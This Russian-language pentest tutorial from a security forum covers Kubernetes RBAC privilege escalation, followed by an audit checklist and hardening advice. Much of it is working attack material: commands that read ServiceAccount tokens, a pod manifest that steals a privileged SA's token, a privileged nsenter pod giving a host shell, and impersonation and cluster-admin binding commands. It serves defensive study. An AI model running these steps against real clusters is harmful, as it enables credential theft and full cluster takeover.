Сергей Попов
Администратор
- 30.12.2015
- 4 910
- 6 608
- Специализация
- OSINT
- Веб-безопасность
- Статус верификации
- ✓ Verified
Когда вы попадаете внутрь контейнера - неважно, через RCE в приложении, SSRF или скомпрометированный CI/CD - первый вопрос всегда один: «Какие у меня права?» В большинстве кластеров, которые я тестировал за последние пару лет, ответ был один и тот же: «Больше, чем нужно». Сильно больше. По данным Unit 42 (Palo Alto Networks), операции с кражей Kubernetes-токенов выросли на 282% за последний год, а подозрительная активность вокруг service account токенов зафиксирована в 22% облачных сред в 2025 году. Дальше - пошаговый разбор того, как эскалация привилегий Kubernetes работает на практике: от первичной разведки RBAC до получения cluster-admin.
Статья составлена участником команды codeby и написана от первого лица
Что делает RBAC уязвимости Kubernetes настолько опасными
Русскоязычные ресурсы чаще всего разбираютallowPrivilegeEscalation - флаг в securityContext, который контролирует системный вызов no_new_privs и к RBAC не имеет никакого отношения. Реальная эскалация привилегий в Kubernetes происходит не через setuid-бинарники внутри контейнера, а через манипуляции с API-сервером: создание подов, чтение секретов, привязку ролей.По классификации MITRE ATT&CK ключевые техники - Account Manipulation (T1098), Valid Accounts: Cloud Accounts (T1078.004), и Kubernetes-специфичные: Unsecured Credentials: Container API (T1552.007 - кража SA-токенов), Deploy Container (T1610 - создание подов), Escape to Host (T1611 - выход из контейнера через привилегированный под), Steal Application Access Token (T1528 - кража SA-токена, тактика credential-access) и Application Access Token (T1550.001 - повторное использование украденного SA-токена для lateral movement). Атакующий не ломает криптографию и не эксплуатирует бинарные уязвимости - он использует легитимные механизмы Kubernetes с избыточными правами. Зачем ломать дверь, если ключ лежит под ковриком?
Согласно исследованию Schutzwerk, существует 7 основных векторов повышения привилегий через RBAC, и все они сводятся к пяти группам разрешений:
create pods, get secrets, bind, escalate и impersonate. Разберём каждый на практике.Разведка: перечисление RBAC-разрешений из скомпрометированного пода
Прежде чем атаковать - нужно понять, что вам доступно. Первым делом после попадания в под проверяем, смонтирован ли ServiceAccount-токен.Извлечение токена ServiceAccount
По умолчанию Kubernetes монтирует токен сервисного аккаунта в каждый под. В Kubernetes 1.20+ это projected token (BoundServiceAccountTokenVolume) с ограниченным сроком жизни (~1 час, автоматически обновляется kubelet). Токен привязан к конкретному поду - после удаления пода токен инвалидируется. Окно эксплуатации сужается по сравнению с legacy long-lived токенами (до 1.24), но час - это целая вечность, если знаешь, что делать. Путь зависит от версии:
Bash:
# Projected token (Kubernetes 1.20+)
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Проверяем CA-сертификат и namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
kubectl недоступен - работаем через curl:
Bash:
# Определяем адрес API-сервера (доступен через env-переменные)
echo $KUBERNETES_SERVICE_HOST
echo $KUBERNETES_SERVICE_PORT
# Проверяем токен через curl
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s -k -H "Authorization: Bearer ${TOKEN}" \
${APISERVER}/api/v1/namespaces
Перечисление разрешений через kubectl auth can-i
Еслиkubectl доступен (или вы принесли статически скомпилированный бинарник - всегда таскаю с собой), начинаем с глобальной проверки:
Bash:
# Полный список разрешений текущего SA
kubectl auth can-i --list
# Проверка на cluster-wide
kubectl auth can-i --list --all-namespaces
# Целевые проверки критичных разрешений
kubectl auth can-i create pods
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i impersonate users
kubectl auth can-i 'bind' clusterroles
kubectl auth can-i 'escalate' clusterroles
kubectl auth can-i --list для overprivileged SA (встречал такое не раз):
Код:
Resources Non-Resource URLs Resource Names Verbs
pods [] [] [create get list delete]
pods/exec [] [] [create]
secrets [] [] [get list]
serviceaccounts [] [] [get list]
configmaps [] [] [get list watch]
create pods + get secrets. Этого хватит для полной компрометации namespace.Автоматизация разведки
Для ускорения - инструменты, заточенные под Kubernetes пентест:
Bash:
# Peirates - автоматический аудит и эксплуатация SA токенов
# (упоминается в исследовании Unit 42 как инструмент,
# техники которого наблюдались в реальных атаках)
./peirates
# rakkess - визуализация разрешений матрицей
kubectl krew install access-matrix
kubectl access-matrix
# rbac-tool - анализ ролей и привязок
kubectl krew install rbac-tool
kubectl rbac-tool lookup
kubectl rbac-tool who-can create pods
kube-hunter полезен для внешней разведки кластера, а Trivy - для поиска misconfigurations в манифестах до деплоя. Но честно - на живом пентесте Peirates экономит больше всего времени.ServiceAccount Token Abuse: от токена к lateral movement
ServiceAccount token abuse в Kubernetes - основа большинства цепочек атак. Согласно исследованию Unit 42, в реальном инциденте на криптобирже (связанном с группировкой Slow Pisces / Lazarus) атакующие после получения доступа к рабочей станции разработчика развернули вредоносный под в production-кластере, который был спроектирован для экспозиции смонтированного SA-токена. Итог - компрометация облачной инфраструктуры и кража криптовалюты.Кража токенов через под с монтированием SA
Если у вас есть правоcreate pods - вы можете создать под с привязкой к любому ServiceAccount в текущем namespace:
YAML:
# pod-steal-token.yaml
# Под создаётся в текущем namespace (где есть права create pods).
# Для создания в kube-system нужны права в этом namespace.
# Сначала найдите целевой SA: kubectl get serviceaccounts
apiVersion: v1
kind: Pod
metadata:
name: token-hunter
# namespace не указан - используется текущий контекст
spec:
serviceAccountName: target-privileged-sa # имя SA, обнаруженное на этапе разведки
automountServiceAccountToken: true
containers:
- name: hunter
image: alpine:3.20
command: ["sh", "-c", "cat /var/run/secrets/kubernetes.io/serviceaccount/token > /tmp/stolen-token && sleep infinity"]
Bash:
kubectl apply -f pod-steal-token.yaml
kubectl exec -it token-hunter -- cat /tmp/stolen-token
Bash:
# Подставляем украденный токен
kubectl --token="<stolen-token>" auth can-i --list
kubectl --token="<stolen-token>" get nodes
Кража токенов с ноды через container escape
Если под запущен с привилегиями (privileged: true) или с монтированием hostPath, атакующий получает доступ к файловой системе ноды. Оттуда можно утянуть токены всех подов, работающих на этой ноде:
Bash:
# Из привилегированного контейнера - поиск всех SA-токенов на ноде
find /host/var/lib/kubelet/pods/ -name token -type f 2>/dev/null
# Чтение токена конкретного пода
cat /host/var/lib/kubelet/pods/<pod-uid>/volumes/kubernetes.io~projected/kube-api-access-*/token
Kubernetes RBAC Misconfiguration: пять векторов эскалации привилегий
Вектор 1: создание подов (create pods)
Самый распространённый и при этом самый недооценённый вектор. Как указывает Schutzwerk, RBAC контролирует те, кто может создавать поды, но не контролирует что в этих подах. Без admission controller (OPA Gatekeeper, Kyverno, Pod Security Admission) право на создание подов равносильно root-доступу на ноде. Звучит дико, но это так.Что даёт
create pods:- Монтирование токена любого SA в namespace (показано выше)
- Создание привилегированного контейнера с доступом к хосту
- Монтирование hostPath для чтения файлов ноды
- Запуск контейнера с hostPID/hostNetwork для доступа к процессам и сети хоста
YAML:
# Привилегированный под с полным доступом к хосту
apiVersion: v1
kind: Pod
metadata:
name: node-pwn
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine:3.20
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "/bin/sh"]
volumes:
- name: host-root
hostPath:
path: /
nsenter с PID 1 переключает нас в namespace init-процесса хоста - фактически это полный shell на ноде. Pod Security Admission (PSA) в режимах baseline/restricted заблокирует такой манифест. PSA включён по умолчанию с Kubernetes 1.25+, но enforcement зависит от labels на namespace. Без явного label pod-security.kubernetes.io/enforce: baseline или restricted - PSA не блокирует привилегированные поды. Многие production-кластеры, особенно мигрированные с ранних версий, не имеют этих labels. На managed Kubernetes (GKE Autopilot, EKS Fargate) привилегированные поды запрещены на уровне платформы.Вектор 2: чтение секретов (get/list secrets)
В Kubernetes токены ServiceAccount хранятся как объекты Secret. Правоget secrets в namespace позволяет прочитать токены всех SA:
Bash:
# Перечисляем все секреты в namespace
kubectl get secrets -n target-namespace
# Путь 1: чтение legacy Secret-based токенов (Kubernetes < 1.24)
# Требует RBAC-разрешение: get secrets
kubectl get secret <sa-token-secret> -n target-namespace -o jsonpath='{.data.token}' | base64 -d
# Путь 2: TokenRequest API (Kubernetes 1.24+)
# Требует ДРУГОЕ RBAC-разрешение: create serviceaccounts/token (не get secrets!)
kubectl create token <service-account-name> -n target-namespace
get (без list), можно подобрать имя секрета. В старых версиях Kubernetes (до 1.24) секреты SA создавались по паттерну <service-account-name>-token-<5-символов>. Теоретически ~14.3 миллиона комбинаций (27-символьный набор), но на практике brute-force ограничен rate limiting API-сервера и будет обнаружен через audit logging. Более реалистичный подход - получить имя секрета через другие утечки (логи, kubectl describe pod, если есть get pods).В Kubernetes 1.24+ автоматическое создание Secret для SA отключено - используются projected-токены. Но многие кластеры до сих пор содержат legacy-секреты или создают long-lived токены вручную. На одном аудите я нашёл SA-токен трёхлетней давности с cluster-admin правами - его забыли и не ротировали.
Вектор 3: verb impersonate - действие от имени другого пользователя
Механизм impersonation позволяет отправлять запросы к API от имени другого пользователя, группы или SA. Если у вас есть verbimpersonate на ресурсах users, groups или serviceaccounts - вы можете стать кем угодно:
Bash:
# Проверяем наличие права
kubectl auth can-i impersonate users
kubectl auth can-i impersonate serviceaccounts
# Действуем от имени cluster-admin
kubectl --as=system:serviceaccount:kube-system:cluster-admin-sa get secrets -A
# Через curl с заголовком Impersonate-User
curl -s -k -H "Authorization: Bearer ${TOKEN}" \
-H "Impersonate-User: system:serviceaccount:kube-system:cluster-admin-sa" \
${APISERVER}/api/v1/secrets
Вектор 4: verb bind - привязка существующих ролей
Kubernetes запрещает привязку ролей с бо́льшими привилегиями, чем у текущего субъекта - но только если у субъекта нет verbbind на целевой роли. Этот verb часто оставляют по недосмотру:
Bash:
# Проверяем
kubectl auth can-i bind clusterroles
# Привязываем cluster-admin к своему SA
kubectl create clusterrolebinding pwn-binding \
--clusterrole=cluster-admin \
--serviceaccount=default:compromised-sa
bind:- RoleBinding + bind Roles - доступ к ролям в текущем namespace
- RoleBinding + bind ClusterRoles - привязка кластерной роли к namespace (мощнее)
- ClusterRoleBinding + bind ClusterRoles - cluster-wide доступ (полная компрометация)
Вектор 5: verb escalate - модификация существующих ролей
Verbescalate позволяет модифицировать роль, добавляя в неё привилегии, которых нет у вас самих. Это обход стандартной защиты Kubernetes от privilege escalation через RBAC:
Bash:
# Проверяем
kubectl auth can-i escalate clusterroles
# Модифицируем роль - добавляем wildcard-доступ
kubectl edit clusterrole target-role
YAML:
# Добавляем в rules
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
bind и escalate - наименее известные, но наиболее разрушительные. Многие администраторы даже не подозревают об их существовании и не включают в аудит. На каждом втором пентесте, где я находил эти verbs, админы реагировали одинаково: «Серьёзно? Это вообще существует?»Полная цепочка атаки: от пода до cluster-admin
Ниже - воспроизводимый сценарий, который
📚 Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Реальные угрозы: как это выглядит в дикой природе
Цепочки выше - не теория из учебника. По данным Unit 42, в реальном инциденте на криптобирже в 2025 году группировка Slow Pisces (Lazarus / TraderTraitor) использовала именно такой паттерн: после компрометации рабочей станции разработчика через spearphishing атакующие развернули вредоносный под в production-кластере для экспозиции SA-токена, а затем использовали этот токен для lateral movement в облачную инфраструктуру.Отдельно стоит упомянуть IngressNightmare (CVE-2025-1974, CVSS 9.8, вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-653). Уязвимость позволяла неаутентифицированному атакующему с доступом к pod-сети выполнить произвольный код в контексте ingress-nginx контроллера. Поскольку в стандартной установке контроллер имеет доступ ко всем Secret кластера - можно стянуть SA-токены с высокими привилегиями, что в большинстве конфигураций ведёт к cluster-admin (формально уязвимость даёт credential access - раскрытие секретов, а не прямую эскалацию привилегий, но результат тот же). По данным Wiz Research, около 43% облачных сред используют ingress-nginx контроллер. Сорок три процента. Пусть эта цифра немного постоит.
Kubernetes пентест: чеклист для аудита RBAC
При проведении пентеста Kubernetes кластера - вот порядок проверок:| Проверка | Команда | Критичность |
|---|---|---|
| SA-токен смонтирован | ls /var/run/secrets/kubernetes.io/serviceaccount/ | Высокая |
| Права текущего SA | kubectl auth can-i --list | Высокая |
| create pods | kubectl auth can-i create pods | Критическая |
| get/list secrets | kubectl auth can-i get secrets | Критическая |
| create rolebindings | kubectl auth can-i create rolebindings | Критическая |
| create clusterrolebindings | kubectl auth can-i create clusterrolebindings | Критическая |
| bind clusterroles | kubectl auth can-i bind clusterroles | Критическая |
| escalate clusterroles | kubectl auth can-i escalate clusterroles | Критическая |
| impersonate users/SA | kubectl auth can-i impersonate users | Критическая |
| pods/exec | kubectl auth can-i create pods/exec | Высокая |
| Wildcard-разрешения | kubectl get clusterroles -o json + фильтр * | Критическая |
Защита: как закрыть описанные векторы
Знание атак без понимания защиты - половина картины. Вот что реально работает.Минимизация прав ServiceAccount
YAML:
# Отключение автоматического монтирования токена
apiVersion: v1
kind: ServiceAccount
metadata:
name: app-sa
automountServiceAccountToken: false
Admission Controllers для блокировки привилегированных подов
Без admission controller праваcreate pods - это root на ноде. Внедрите Pod Security Admission (замена устаревших PodSecurityPolicies) или OPA Gatekeeper / Kyverno:
YAML:
# Пример Kyverno-политики: запрет привилегированных контейнеров
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: deny-privileged
spec:
validationFailureAction: Enforce
rules:
- name: deny-privileged-containers
match:
any:
- resources:
kinds:
- Pod
validate:
message: "Privileged containers are not allowed"
pattern:
spec:
containers:
- securityContext:
privileged: "false"
Аудит опасных verbs
Регулярно проверяйте кластер на наличие ролей с verbsbind, escalate, impersonate и wildcard-разрешениями:
Bash:
# Поиск ролей с опасными verbs
kubectl get clusterroles -o json | \
jq '.items[] | select(.rules[]? | .verbs[]? | test("bind|escalate|impersonate|\\*")) | .metadata.name'
# Поиск ClusterRoleBindings к cluster-admin
kubectl get clusterrolebindings -o json | \
jq '.items[] | select(.roleRef.name == "cluster-admin") | {name: .metadata.name, subjects: .subjects}'
Мониторинг и алертинг
Включите Kubernetes Audit Logging и настройте алерты на:- Создание ClusterRoleBinding / RoleBinding
- Запросы с заголовками impersonation
- Создание подов в kube-system
- Чтение секретов из непривычных SA
- Exec в запущенные поды
Итоги
Kubernetes privilege escalation через RBAC misconfiguration - не экзотика, а повседневность. Каждый из пяти описанных векторов (create pods, get secrets, impersonate, bind, escalate) встречается в production-кластерах. Цепочка «украл токен → проверил права → создал под с привилегированным SA → получил cluster-admin» занимает минуты, а не часы.Для защитников: RBAC без admission controllers - иллюзия безопасности. Право
create pods без ограничений на содержимое пода - это root на ноде. Право get secrets в namespace - это доступ ко всем SA в этом namespace. А verbs bind и escalate - прямой путь в обход всех проверок Kubernetes.Для пентестеров: начинайте с
kubectl auth can-i --list, ищите пять ключевых разрешений, стройте цепочку. Peirates, rbac-tool и rakkess ускоряют разведку, но понимание механики RBAC важнее любого инструмента.Запустите
kubectl auth can-i --list на своём кластере прямо сейчас. Если в выводе мелькнул create pods или get secrets у SA, которому это не нужно - у вас та же проблема, что и у 22% облачных сред из отчёта Unit 42.
Последнее редактирование модератором: